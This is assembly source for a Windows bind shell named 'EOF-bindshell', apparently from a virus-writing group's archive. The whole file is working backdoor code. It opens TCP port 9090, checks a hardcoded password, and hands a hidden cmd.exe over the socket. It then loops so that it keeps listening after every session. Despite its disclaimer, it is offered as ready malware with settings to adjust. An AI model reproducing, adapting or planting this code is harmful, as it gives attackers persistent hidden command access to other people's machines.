|| Author: Berniee,Fakedminded/EOF || Back to sources || View project folder ||
;//App. Name    : EOF-bindshell
;//Coded by     : berniee/fakedminded
;//Based on     : KD-team reverse bindshell [c-coded]
;//Greetings    : SkyOut,RadiatioN ,izee,sk0r/Czybik,WarGame, and Nibble
;//Explanation  : This code will binds the cmd.exe to a specific port,and will return
;//               to the connection state after each closed session ,the bound shell
;//               is password protected .
;//WARNING      : The code is a simple demonstartion and is not intended 
;//               to cause any sort of damage to others pc or validating their privacy.


.586
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\Ws2_32.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\Ws2_32.lib


PORT_NO = 9090                                           ;change it according your desire
PWD equ <"beattheboss",0>                                ;change it according your desire

.data
CopyRight db "EOF-bindshell",13,10,0
pwd_msg db "Enter Password: ",0
szPwd db PWD                                    
err_pwd db 13,10,"beat it!!",13,10,0
byte_ db 0,0
cmd_ db "ComSpec",0

.data?
ws WSADATA <?>
sock_addr sockaddr_in<?>

stinfo STARTUPINFO <?>
pinfo PROCESS_INFORMATION<?>
socket_ dd ?
pointer_ dd ?
buffer db 10 dup(?)
run_ db 256 dup(?)


.code
start:
_connect:
invoke RtlZeroMemory,offset buffer,256
invoke RtlZeroMemory,offset sock_addr,sizeof sock_addr
invoke WSAStartup,001h,addr ws
invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0  ;socket() will not work in such
cmp eax,INVALID_SOCKET                                  ;kinds of applications!
je exit
mov socket_,eax
mov sock_addr.sin_family,AF_INET
invoke htons,PORT_NO
mov sock_addr.sin_port,ax
invoke htonl,INADDR_ANY
mov sock_addr.sin_addr.S_un.S_addr,eax
invoke bind,socket_,offset sock_addr,sizeof sock_addr
invoke listen,socket_,0
invoke accept,socket_,offset sock_addr,0

mov socket_,eax
invoke send,socket_,offset CopyRight,sizeof CopyRight,0
invoke send,socket_,offset pwd_msg,sizeof pwd_msg,0

recieve_:
invoke recv,socket_,offset byte_,1,0
invoke lstrcat,offset buffer,offset byte_
cmp byte_,0ah
jne recieve_

mov esi,offset buffer
mov edi,offset szPwd
mov ecx,sizeof szPwd
_pwd:
repne cmpsb
je next_char
jmp wrong_password
next_char:
cmp byte ptr [edi],0
jne _pwd

invoke GetEnvironmentVariable,offset cmd_,offset run_,256
cmp eax,0
je exit
mov stinfo.cb,sizeof STARTUPINFO
mov eax, socket_
mov stinfo.hStdOutput,eax 
mov stinfo.hStdError,eax 
mov eax, socket_
mov stinfo.hStdInput,eax
mov stinfo.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES 
mov stinfo.wShowWindow,SW_HIDE
invoke CreateProcess,offset run_,0,0,0,TRUE,CREATE_NEW_CONSOLE,0,0,offset stinfo,offset pinfo
or eax,eax
jz exit

invoke WaitForSingleObject,pinfo.hProcess,-1
invoke CloseHandle,pinfo.hProcess
invoke CloseHandle,pinfo.hThread
invoke CloseHandle,socket_
wrong_password:
invoke send,socket_,offset err_pwd,sizeof err_pwd,0
invoke WSACleanup


jmp _connect                                        ;this will make it immortal
                                                    ;delete it if you dont want that.

exit:
invoke ExitProcess,0


end start



;CopyRites berniee/fakedminded[EOF] 2oo6 ---AllRights Reset